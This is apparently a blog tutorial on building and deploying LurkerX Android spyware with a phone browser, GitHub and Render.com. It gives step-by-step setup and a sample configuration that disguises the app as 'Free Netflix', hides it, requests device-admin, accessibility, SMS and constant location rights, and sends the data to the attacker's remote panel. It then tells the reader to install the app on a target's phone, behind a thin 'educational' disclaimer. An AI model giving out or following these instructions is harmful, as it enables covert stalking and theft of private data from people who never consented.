10 Easy Steps to Hack/Spy any Android Phone using just Chrome or Safari, August 2026
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Did you know that you can spy on any Android Phone using just your browser on your own phone?
LurkerX has been a tool people use to generate spywares for Android devices, but for your information it required a PC like a laptop because that was how it was designed. The recent breakthrough is very surprising, With any device that you are using, you can generate a spyware that can be used to spy on other Android devices. In this post, I would list and explain all that you need to know in spying other Androids using the new LurkerX, so miss no glance if you need to learn how to use the new LurkerX.
This guide isn't to assist you in intruding into unauthorized WLAN networks, it's be used appropriately, for education purposes.
⚠️ Disclaimer: This content is for educational purposes only. The goal is to raise awareness, not to promote illegal activities.
1. Requirements
Make sure you create accounts on these two platforms:
2. Log into your GitHub account and Fork this repository
Fork the repository and continue, step-by-step illustration as shown in the images below:
3. Copy the link of your forked repository
Copy the link to your forked repository. For e.g, mine is https://github.com/nooby-jazy/LurkerX
NOTE THIS SOMEWHERE, WE WILL LATER USE THIS LINK OR PASTE IT SOMEWHERE
4. Log into your Render.com account and create new web service
5. Clone your forked repository in Render:
Choose public git repository and enter the link to your GitHub fork.
STILL NOTE THE LINK YOU PASTED SOMEWHERE, WE WILL USE IT AGAIN IN THE LATER PART
7. Deploy web service
Connect and Choose `FREE` instance plan. Then jump to the bottom and click `Deploy web service`
8. Copy you remote link
Render will generate a link for you. Copy the link
NOTE THIS SOMEWHERE, WE WILL LATER USE THIS LINK OR PASTE IT SOMEWHERE
9. Open your Github repo link in different Tab:
Go back to your forked repo link. Everything is set, you just need to make sure your generated Spyware would forward all data and information to your Render.com URL.
10. Edit `choices.ini `
Click on `choices.ini` and edit it. Make sure to change things like `remoteUrl` and `repo_url`.
remoteUrl should be your link from render.com
repo_url should be your forked repo's link. In this case mine is https://github.com/nooby-jayz/LurkerX.
You edit this, you edit the spyware behavior.
Don't forget to save it after editing(Also called "Committing" on GitHub)
This is an example of how I made mine:
[app]
name = Free Netflix
version = 1.6.0
[content]
icon = icon.png
countdowntext = "Sit tight and relax while the app configures the system for free and fast internet"
[buttons]
requestpermissions = Enable App Process
requestdeviceadmin = Request Core-Level Rights
enableaccessibility = Enable Accessibility Service
[strings]
telephonypermissionstring = Phone and SMS permissions are needed to enable the service
gpspermissionstring = Allow Location for ALL THE TIME to let the app fake your GPS in background. This is required
[behavior]
remoteurl = https://lurkerx-wo50.onrender.com
hideapp = true
[decompile]
from = base.apk
[public]
repo_url = https://github.com/nooby-jayz/LurkerX
[sign]
keystore = mykey.jks
keystore_pass = password
alias =
11. Restart your remote Panel to take effect
To do that, go back to your Render dashboard tab, select the web service you created, click on `Manual Deploy`. Wait for the deployment to complete successfully(if it shows green tick icon)
12. Open the remote panel
Open the link Render generated for you. (The link ending in `.onrender.com`)
12. Unlock the Panel
Open or unlock the panel first then click onBUILD APP (GITHUB CI)
13. Wait and download the App
After a few minutes, the app would be packaged successfully and downloaded automatically.
After that install it on the target device you aim to monitor
All information on that device can also be viewed on your `onrender.com` URL portal.
NOTE:
This guide is carefully made to be inevitable to failure to run LurkerX v1.6.0(August 2026 version). It would only fail if you messed up slightly at STEP 10, or STEP 5, or STEP 2.
After following this tutorial successfully, you should be able to generate the spyware. You can install the spyware onto any Android device to start background monitoring. Don't know how you can install the Spyware onto a device after generating? READ THIS GUIDE TO LEARN HOW